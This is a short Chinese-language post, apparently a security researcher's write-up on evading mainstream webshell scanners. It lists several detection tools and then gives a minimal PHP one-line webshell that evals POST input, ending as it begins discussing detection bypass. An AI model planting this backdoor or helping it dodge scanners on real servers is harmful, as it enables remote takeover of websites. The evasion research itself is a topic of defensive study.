前段时间在看某厂的WEBSHELL文本检测大赛,顺便也研究了一下php的一些免杀手段,这里我们仅讨论php中函数对绕过和特性,不会讲到混淆之类的免杀,那么灾做免杀之前我们先来看几个主流的webshell查杀工具。

D盾

阿D出品，使用自行研发不分扩展名的代码分析引擎，能分析更为隐藏的WebShell后门行为。

这里我们使用的是2023最新更新的版本2.1.7.2

安全狗

本地网马引擎与云端网马引擎结合，精确查杀各类网马、挂马、黑链与畸形文件。智能化查杀，精准、快速、资源耗用小、彻底有效清除后门隐患。

这里我们也是用2023版本的安全狗。

WEBDIR+

(百度)下一代WebShell检测引擎，采用先进的动态监测技术，结合多种引擎零规则查杀。

项目地址:https://scanner.baidu.com/#/pages/intro

ShellPub

(河马)专注webshell查杀研究，拥有海量webshell样本和自主查杀技术，采用传统特征+云端大数据双引擎的查杀技术。查杀速度快、精度高、误报低。

项目地址:https://n.shellpub.com/

CloudWalker

(牧云)一个可执行的命令行版本 Webshell 检测工具。

项目地址:https://stack.chaitin.com/security-challenge/webshell/index

webshell

那么接着就来构造webshell。‍‍

首先我们写一个最简单的webshell一句话木马。

<?php
eval($_POST['a']);
?>

这里我们还需要想办法绕过,首先想到的是加密,猜测可能检测了函数中的assert。

原文始发于微信公众号（山石网科安全技术研究院）：针对主流WebShell查杀工具的免杀绕过实践